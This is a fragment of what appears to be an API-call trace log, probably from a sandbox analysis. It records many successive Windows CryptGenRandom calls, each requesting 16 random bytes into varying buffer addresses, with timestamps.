CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b24 | out: pbBuffer=0x3664b24) returned 1 [0147.784] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366491c | out: pbBuffer=0x366491c) returned 1 [0147.803] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664214 | out: pbBuffer=0x3664214) returned 1 [0147.806] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664674 | out: pbBuffer=0x3664674) returned 1 [0147.813] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366405c | out: pbBuffer=0x366405c) returned 1 [0147.839] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664494 | out: pbBuffer=0x3664494) returned 1 [0147.843] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36646c4 | out: pbBuffer=0x36646c4) returned 1 [0147.857] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347f2dc | out: pbBuffer=0x347f2dc) returned 1 [0147.878] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646f34 | out: pbBuffer=0x3646f34) returned 1 [0147.888] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646dcc | out: pbBuffer=0x3646dcc) returned 1 [0147.903] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x35752dc | out: pbBuffer=0x35752dc) returned 1 [0147.935] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347e0fc | out: pbBuffer=0x347e0fc) returned 1 [0147.946] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671d54 | out: pbBuffer=0x3671d54) returned 1 [0147.962] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671e94 | out: pbBuffer=0x3671e94) returned 1 [0147.990] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671ebc | out: pbBuffer=0x3671ebc) returned 1 [0148.016] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671fac | out: pbBuffer=0x3671fac) returned 1 [0148.073] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671e1c | out: pbBuffer=0x3671e1c) returned 1 [0148.099] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367182c | out: pbBuffer=0x367182c) returned 1 [0148.158] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671994 | out: pbBuffer=0x3671994) returned 1 [0148.174] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367191c | out: pbBuffer=0x367191c) returned 1 [0148.191] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671a5c | out: pbBuffer=0x3671a5c) returned 1 [0148.260] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671b74 | out: pbBuffer=0x3671b74) returned 1 [0148.274] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671c8c | out: pbBuffer=0x3671c8c) returned 1 [0148.285] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671fd4 | out: pbBuffer=0x3671fd4) returned 1 [0148.299] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671f5c | out: pbBuffer=0x3671f5c) returned 1 [0148.355] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d23c | out: pbBuffer=0x366d23c) returned 1 [0148.358] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d3cc | out: pbBuffer=0x366d3cc) returned 1 [0148.362] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d584 | out: pbBuffer=0x366d584) returned 1 [0148.884] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f034 | out: pbBuffer=0x366f034) returned 1 [0148.894] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f084 | out: pbBuffer=0x366f084) returned 1 [0148.908] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f0d4 | out: pbBuffer=0x366f0d4) returned 1 [0148.913] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f174 | out: pbBuffer=0x366f174) returned 1 [0148.918] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f19c | out: pbBuffer=0x366f19c) returned 1 [0148.921] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f14c | out: pbBuffer=0x366f14c) returned 1 [0148.926] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f124 | out: pbBuffer=0x366f124) returned 1 [0148.933] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f1c4 | out: pbBuffer=0x366f1c4) returned 1 [0148.942] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f2b4 | out: pbBuffer=0x366f2b4) returned 1 [0148.946] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f264 | out: pbBuffer=0x366f264) returned 1 [0148.949] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f23c | out: pbBuffer=0x366f23c) returned 1 [0148.968] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f304 | out: pbBuffer=0x366f304) returned 1 [0149.002] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f41c | out: pbBuffer=0x366f41c) returned 1 [0149.043] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f3cc | out: pbBuffer=0x366f3cc) returned 1 [0149.048] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f354 | out: pbBuffer=0x366f354) returned 1 [0149.052] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f534 | out: pbBuffer=0x366f534) returned 1 [0149.056] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f4bc | out: pbBuffer=0x366f4bc) returned 1 [0149.059] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f50c | out: pbBuffer=0x366f50c) returned 1 [0149.064] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f5fc | out: pbBuffer=0x366f5fc) returned 1 [0149.079] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f584 | out: pbBuffer=0x366f584) returned 1 [0149.097] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f6c4 | out: pbBuffer=0x366f6c4) returned 1 [0149.101] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f69c | out: pbBuffer=0x366f69c) returned 1 [0149.107] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f64c | out: pbBuffer=0x366f64c) returned 1 [0149.152] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f7b4 | out: pbBuffer=0x366f7b4) returned 1 [0149.206] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f764 | out: pbBuffer=0x366f764) returned 1 [0149.230] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f854 | out: pbBuffer=0x366f854) returned 1 [0149.235] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347e0fc | out: pbBuffer=0x347e0fc) returned 1 [0149.252] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x35752dc | out: pbBuffer=0x35752dc) returned 1 [0149.329] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x35754e4 | out: pbBuffer=0x35754e4) returned 1 [0149.339] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3575444 | out: pbBuffer=0x3575444) returned 1 [0149.349] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646dcc | out: pbBuffer=0x3646dcc) returned 1 [0149.353] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646f34 | out: pbBuffer=0x3646f34) returned 1 [0149.358] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646ee4 | out: pbBuffer=0x3646ee4) returned 1 [0149.364] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36643a4 | out: pbBuffer=0x36643a4) returned 1 [0149.371] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36646c4 | out: pbBuffer=0x36646c4) returned 1 [0149.375] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664624 | out: pbBuffer=0x3664624) returned 1 [0149.382] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664494 | out: pbBuffer=0x3664494) returned 1 [0149.386] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36644bc | out: pbBuffer=0x36644bc) returned 1 [0149.389] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366405c | out: pbBuffer=0x366405c) returned 1 [0149.394] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36645d4 | out: pbBuffer=0x36645d4) returned 1 [0149.401] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664674 | out: pbBuffer=0x3664674) returned 1 [0149.405] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664214 | out: pbBuffer=0x3664214) returned 1 [0149.409] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664354 | out: pbBuffer=0x3664354) returned 1 [0149.412] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366491c | out: pbBuffer=0x366491c) returned 1 [0149.416] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664124 | out: pbBuffer=0x3664124) returned 1 [0149.430] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b24 | out: pbBuffer=0x3664b24) returned 1 [0149.465] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36647dc | out: pbBuffer=0x36647dc) returned 1 [0149.470] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664bc4 | out: pbBuffer=0x3664bc4) returned 1 [0149.476] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664d2c | out: pbBuffer=0x3664d2c) returned 1 [0149.497] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664f34 | out: pbBuffer=0x3664f34) returned 1 [0149.519] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36641c4 | out: pbBuffer=0x36641c4) returned 1 [0149.529] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664e94 | out: pbBuffer=0x3664e94) returned 1 [0149.555] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664aac | out: pbBuffer=0x3664aac) returned 1 [0149.559] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36648a4 | out: pbBuffer=0x36648a4) returned 1 [0149.563] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b9c | out: pbBuffer=0x3664b9c) returned 1 [0149.571] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366482c | out: pbBuffer=0x366482c) returned 1 [0149.583] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664cdc | out: pbBuffer=0x3664cdc) returned 1 [0149.588] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664da4 | out: pbBuffer=0x3664da4) returned 1 [0149.653] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664994 | out: pbBuffer=0x3664994) returned 1 [0149.658] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664ee4 | out: pbBuffer=0x3664ee4) returned 1 [0149.662] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b4c | out: pbBuffer=0x3664b4c) returned 1 [0149.666] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664df4 | out: pbBuffer=0x3664df4) returned 1 [0149.670] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366478c | out: pbBuffer=0x366478c) returned 1 [0149.675] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366441c | out: pbBuffer=0x366441c) returned 1 [0149.679] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664a0c | out: pbBuffer=0x3664a0c) returned 1 [0149.682] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664c64 | out: pbBuffer=0x3664c64) returned 1 [0149.687] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347f8f4 | out: pbBuffer=0x347f8f4) returned 1 [0149.694] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347fa0c | out: pbBuffer=0x347fa0c) returned 1 [0149.705] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347f2dc | out: pbBuffer=0x347f2dc) returned 1 [0149.708] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f87c | out: pbBuffer=0x366f87c) returned 1 [0149.712] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f764 | out: pbBuffer=0x366f764) returned 1 [0149.722] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f78c | out: pbBuffer=0x366f78c) returned 1 [0149.739] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f7b4 | out: pbBuffer=0x366f7b4) returned 1 [0149.766] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f214 | out: pbBuffer=0x366f214) returned 1 [0149.791] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f64c | out: pbBuffer=0x366f64c) returned 1 [0149.806] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f674 | out: pbBuffer=0x366f674) returned 1 [0149.828] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f69c | out: pbBuffer=0x366f69c) returned 1 [0149.835] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f6ec | out: pbBuffer=0x366f6ec) returned 1 [0149.927] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f28c | out: pbBuffer=0x366f28c) returned 1 [0150.005] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f124 | out: pbBuffer=0x366f124) returned 1 [0150.009] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f19c | out: pbBuffer=0x366f19c) returned 1 [0150.013] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f174 | out: pbBuffer=0x366f174) returned 1 [0150.017] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f0d4 | out: pbBuffer=0x366f0d4) returned 1 [0150.020] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f084 | out: pbBuffer=0x366f084) returned 1 [0150.025] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f034 | out: pbBuffer=0x366f034) returned 1 [0150.029] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f05c | out: pbBuffer=0x366f05c) returned 1 [0150.128] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f8cc | out: pbBuffer=0x366f8cc) returned 1 [0150.165] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f82c | out: pbBuffer=0x366f82c) returned 1 [0150.172] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f23c | out: pbBuffer=0x366f23c) returned 1 [0150.176] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f2b4 | out: pbBuffer=0x366f2b4) returned 1 [0150.180] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f0ac | out: pbBuffer=0x366f0ac) returned 1 [0150.184] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fa5c | out: pbBuffer=0x366fa5c) returned 1 [0150.192] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fa84 | out: pbBuffer=0x366fa84) returned 1 [0150.199] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fa34 | out: pbBuffer=0x366fa34) returned 1 [0150.217] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fa0c | out: pbBuffer=0x366fa0c) returned 1 [0150.221] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366faac | out: pbBuffer=0x366faac) returned 1 [0150.225] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fb9c | out: pbBuffer=0x366fb9c) returned 1 [0150.231] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fc14 | out: pbBuffer=0x366fc14) returned 1 [0150.235] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fb74 | out: pbBuffer=0x366fb74) returned 1 [0150.239] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fafc | out: pbBuffer=0x366fafc) returned 1 [0150.243] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fd04 | out: pbBuffer=0x366fd04) returned 1 [0150.247] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fd2c | out: pbBuffer=0x366fd2c) returned 1 [0150.253] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fc8c | out: pbBuffer=0x366fc8c) returned 1 [0150.260] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f9bc | out: pbBuffer=0x366f9bc) returned 1 [0150.271] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f494 | out: pbBuffer=0x366f494) returned 1 [0150.275] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f4e4 | out: pbBuffer=0x366f4e4) returned 1 [0150.279] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f534 | out: pbBuffer=0x366f534) returned 1 [0150.286] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f444 | out: pbBuffer=0x366f444) returned 1 [0150.291] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f354 | out: pbBuffer=0x366f354) returned 1 [0150.295] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f3cc | out: pbBuffer=0x366f3cc) returned 1 [0150.384] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366acb4 | out: pbBuffer=0x366acb4) returned 1 [0150.415] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ac14 | out: pbBuffer=0x366ac14) returned 1 [0150.496] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ff84 | out: pbBuffer=0x366ff84) returned 1 [0150.542] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab74 | out: pbBuffer=0x366ab74) returned 1 [0151.021] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a854 | out: pbBuffer=0x366a854) returned 1 [0151.025] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a674 | out: pbBuffer=0x366a674) returned 1 [0151.047] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a91c | out: pbBuffer=0x366a91c) returned 1 [0151.128] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a9bc | out: pbBuffer=0x366a9bc) returned 1 [0151.218] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a78c | out: pbBuffer=0x366a78c) returned 1 [0151.307] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a6ec | out: pbBuffer=0x366a6ec) returned 1 [0151.456] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ffd4 | out: pbBuffer=0x366ffd4) returned 1 [0151.537] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366febc | out: pbBuffer=0x366febc) returned 1 [0151.573] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a96c | out: pbBuffer=0x366a96c) returned 1 [0151.899] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ff0c | out: pbBuffer=0x366ff0c) returned 1 [0151.914] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ffac | out: pbBuffer=0x366ffac) returned 1 [0152.060] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8a4 | out: pbBuffer=0x366a8a4) returned 1 [0152.080] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a46c | out: pbBuffer=0x366a46c) returned 1 [0152.086] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a0ac | out: pbBuffer=0x366a0ac) returned 1 [0152.091] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a05c | out: pbBuffer=0x366a05c) returned 1 [0152.107] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a0d4 | out: pbBuffer=0x366a0d4) returned 1 [0152.111] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a214 | out: pbBuffer=0x366a214) returned 1 [0152.115] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a19c | out: pbBuffer=0x366a19c) returned 1 [0152.155] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f584 | out: pbBuffer=0x366f584) returned 1 [0152.194] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366afd4 | out: pbBuffer=0x366afd4) returned 1 [0152.348] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8f4 | out: pbBuffer=0x366a8f4) returned 1 [0152.354] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366af5c | out: pbBuffer=0x366af5c) returned 1 [0152.358] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a87c | out: pbBuffer=0x366a87c) returned 1 [0152.370] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa0c | out: pbBuffer=0x366aa0c) returned 1 [0152.395] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a444 | out: pbBuffer=0x366a444) returned 1 [0152.428] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a14c | out: pbBuffer=0x366a14c) returned 1 [0152.465] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ad7c | out: pbBuffer=0x366ad7c) returned 1 [0152.470] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ada4 | out: pbBuffer=0x366ada4) returned 1 [0152.477] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ad54 | out: pbBuffer=0x366ad54) returned 1 [0152.482] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366afac | out: pbBuffer=0x366afac) returned 1 [0152.498] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab4c | out: pbBuffer=0x366ab4c) returned 1 [0152.542] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa34 | out: pbBuffer=0x366aa34) returned 1 [0152.755] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab24 | out: pbBuffer=0x366ab24) returned 1 [0152.788] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a69c | out: pbBuffer=0x366a69c) returned 1 [0152.795] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a55c | out: pbBuffer=0x366a55c) returned 1 [0152.894] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a354 | out: pbBuffer=0x366a354) returned 1 [0153.027] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668354 | out: pbBuffer=0x3668354) returned 1 [0153.259] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f41c | out: pbBuffer=0x366f41c) returned 1 [0153.346] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f5fc | out: pbBuffer=0x366f5fc) returned 1 [0153.523] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fda4 | out: pbBuffer=0x366fda4) returned 1 [0153.590] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fdcc | out: pbBuffer=0x366fdcc) returned 1 [0154.193] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f5d4 | out: pbBuffer=0x366f5d4) returned 1 [0154.241] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f304 | out: pbBuffer=0x366f304) returned 1 [0154.337] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f5c | out: pbBuffer=0x3668f5c) returned 1 [0154.413] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668674 | out: pbBuffer=0x3668674) returned 1 [0154.414] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366837c | out: pbBuffer=0x366837c) returned 1 [0154.418] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668854 | out: pbBuffer=0x3668854) returned 1 [0154.431] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668764 | out: pbBuffer=0x3668764) returned 1 [0154.438] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366864c | out: pbBuffer=0x366864c) returned 1 [0154.458] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36682dc | out: pbBuffer=0x36682dc) returned 1 [0154.461] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366869c | out: pbBuffer=0x366869c) returned 1 [0154.466] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366814c | out: pbBuffer=0x366814c) returned 1 [0154.485] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b74 | out: pbBuffer=0x3668b74) returned 1 [0154.494] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668c14 | out: pbBuffer=0x3668c14) returned 1 [0154.519] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366873c | out: pbBuffer=0x366873c) returned 1 [0155.906] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671e44 | out: pbBuffer=0x3671e44) returned 1 [0155.911] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671bc4 | out: pbBuffer=0x3671bc4) returned 1 [0155.914] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671f5c | out: pbBuffer=0x3671f5c) returned 1 [0155.920] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671f84 | out: pbBuffer=0x3671f84) returned 1 [0155.925] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671fd4 | out: pbBuffer=0x3671fd4) returned 1 [0155.927] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671b24 | out: pbBuffer=0x3671b24) returned 1 [0155.942] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671a34 | out: pbBuffer=0x3671a34) returned 1 [0155.949] 